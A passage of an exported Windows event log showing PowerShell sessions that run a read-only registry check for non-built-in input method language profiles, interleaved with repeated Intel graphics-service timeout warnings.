'{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:55.836\t600\t\"Provider \"\"FileSystem\"\" is Started. \n\nDetails: \n\tProviderName=FileSystem\n\tNewProviderState=Started\n\n\tSequenceNumber=7\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=7246f244-6a24-4ffc-a54d-b05d2b9de908\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command \n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:55.836\t600\t\"Provider \"\"Function\"\" is Started. \n\nDetails: \n\tProviderName=Function\n\tNewProviderState=Started\n\n\tSequenceNumber=9\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=7246f244-6a24-4ffc-a54d-b05d2b9de908\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command \n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:55.836\t600\t\"Provider \"\"Variable\"\" is Started. \n\nDetails: \n\tProviderName=Variable\n\tNewProviderState=Started\n\n\tSequenceNumber=11\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=7246f244-6a24-4ffc-a54d-b05d2b9de908\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command \n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:55.839\t400\t\"Engine state is changed from None to Available. \n\nDetails: \n\tNewEngineState=Available\n\tPreviousEngineState=None\n\n\tSequenceNumber=13\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=7246f244-6a24-4ffc-a54d-b05d2b9de908\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command \n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\tEngineVersion=5.1.26100.9168\n\tRunspaceId=ac67b62f-e408-4136-9555-68557a15cd34\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:55.840\t40962\tPowerShell console is ready for user input\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:41:55.860\t4104\t\"Creating Scriptblock text (1 of 1):\n\n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\nScriptBlock ID: d9a558dc-25c3-4fd1-9495-6a9ab2df4590\nPath: \"\tWarning\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:41:56.319\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:56.401\t403\t\"Engine state is changed from Available to Stopped. \n\nDetails: \n\tNewEngineState=Stopped\n\tPreviousEngineState=Available\n\n\tSequenceNumber=33\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=7246f244-6a24-4ffc-a54d-b05d2b9de908\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command \n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\tEngineVersion=5.1.26100.9168\n\tRunspaceId=ac67b62f-e408-4136-9555-68557a15cd34\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.590\t40961\tPowerShell console is starting up\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:41:56.626\t53504\tWindows PowerShell has started an IPC listening thread on process: 17516 in AppDomain: DefaultAppDomain.\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:41:56.642\t600\t\"Provider \"\"Registry\"\" is Started. \n\nDetails: \n\tProviderName=Registry\n\tNewProviderState=Started\n\n\tSequenceNumber=1\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=af768790-f801-49c5-8c89-231d6ded434c\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.643\t600\t\"Provider \"\"Alias\"\" is Started. \n\nDetails: \n\tProviderName=Alias\n\tNewProviderState=Started\n\n\tSequenceNumber=3\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=af768790-f801-49c5-8c89-231d6ded434c\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.643\t600\t\"Provider \"\"Environment\"\" is Started. \n\nDetails: \n\tProviderName=Environment\n\tNewProviderState=Started\n\n\tSequenceNumber=5\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=af768790-f801-49c5-8c89-231d6ded434c\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.644\t600\t\"Provider \"\"FileSystem\"\" is Started. \n\nDetails: \n\tProviderName=FileSystem\n\tNewProviderState=Started\n\n\tSequenceNumber=7\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=af768790-f801-49c5-8c89-231d6ded434c\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.644\t600\t\"Provider \"\"Function\"\" is Started. \n\nDetails: \n\tProviderName=Function\n\tNewProviderState=Started\n\n\tSequenceNumber=9\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=af768790-f801-49c5-8c89-231d6ded434c\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.644\t600\t\"Provider \"\"Variable\"\" is Started. \n\nDetails: \n\tProviderName=Variable\n\tNewProviderState=Started\n\n\tSequenceNumber=11\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=af768790-f801-49c5-8c89-231d6ded434c\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.648\t400\t\"Engine state is changed from None to Available. \n\nDetails: \n\tNewEngineState=Available\n\tPreviousEngineState=None\n\n\tSequenceNumber=13\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=af768790-f801-49c5-8c89-231d6ded434c\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';\n\tEngineVersion=5.1.26100.9168\n\tRunspaceId=21e6fcd7-50d5-40ae-ae98-e6e90485c35d\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.648\t40962\tPowerShell console is ready for user input\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:41:56.734\t403\t\"Engine state is changed from Available to Stopped. \n\nDetails: \n\tNewEngineState=Stopped\n\tPreviousEngineState=Available\n\n\tSequenceNumber=27\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=af768790-f801-49c5-8c89-231d6ded434c\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';\n\tEngineVersion=5.1.26100.9168\n\tRunspaceId=21e6fcd7-50d5-40ae-ae98-e6e90485c35d\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.901\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:57.766\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:57.989\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:58.213\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:59.992\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:02.328\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:03.217\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:09.657\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:11.755\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:17.651\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:19.542\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:20.101\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:21.101\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:22.436\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:24.844\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, DeliveryOptimizationMIProv, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:42:25.335\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:25.787\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:26.454\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:26.678\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:27.014\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:29.020\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:30.023\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:30.357\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:32.136\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:33.791\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:39.316\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:39.648\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:40.870\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:41.094\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:41.430\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:41.766\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:42.767\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 